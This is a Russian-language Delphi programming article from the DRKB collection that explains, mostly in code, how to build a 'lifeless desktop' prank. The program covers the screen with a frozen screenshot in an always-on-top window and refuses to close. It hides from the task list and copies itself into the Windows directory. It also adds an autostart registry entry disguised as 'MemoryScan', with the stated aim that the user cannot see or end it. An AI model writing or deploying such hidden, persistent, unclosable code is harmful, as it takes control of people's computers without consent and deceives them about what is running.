Безжизненный рабочий стол

Материал из DRKB

Безжизненный рабочий стол[править | править код]

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  Canvas: TCanvas;
begin
  ScreenDC := GetDC(0);
  Canvas := TCanvas.Create();
  Canvas.Handle := ScreenDC;
  Width := Screen.Width;
  Height := Screen.Height;
  Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
    Canvas, Rect(0, 0, Screen.Width, Screen.Height));
  ReleaseDC(0, ScreenDC);
  Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное место.

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  Canvas: TCanvas;
  h: TRegistry;
begin
  ScreenDC := GetDC(0);
  Canvas := TCanvas.Create();
  Canvas.Handle := ScreenDC;
  Width := Screen.Width;
  Height := Screen.Height;
  Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
    Canvas, Rect(0, 0, Screen.Width, Screen.Height));
  ReleaseDC(0, ScreenDC);
  Canvas.Free;

  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(GetCurrentProcessID, 1);

  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then
    WinDir := StrPas(WinDirP);

  if not FileExists(WinDir + '\OurProgram.com') then
    CopyFile(PChar(Application.ExeName), PChar(WinDir + '\OurProgram.com'), False);

  h := TRegistry.Create;
  h.RootKey := HKEY_LOCAL_MACHINE;
  h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True);
  h.WriteString('MemoryScan', WinDir + '\OurProgram.com');
  h.CloseKey;
  h.Free;
end;

На событие OnCloseQuery() формы напишем:

CanClose := False;

На событие OnActivate():

ShowWindow(Application.Handle, SW_HIDE);


В области public объявим несколько переменных:

public
  { Public declarations }
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;


А в uses подключим модуль Registry:

uses
  Registry;


Source: http://delphiworld.narod.ru/
ID: 01835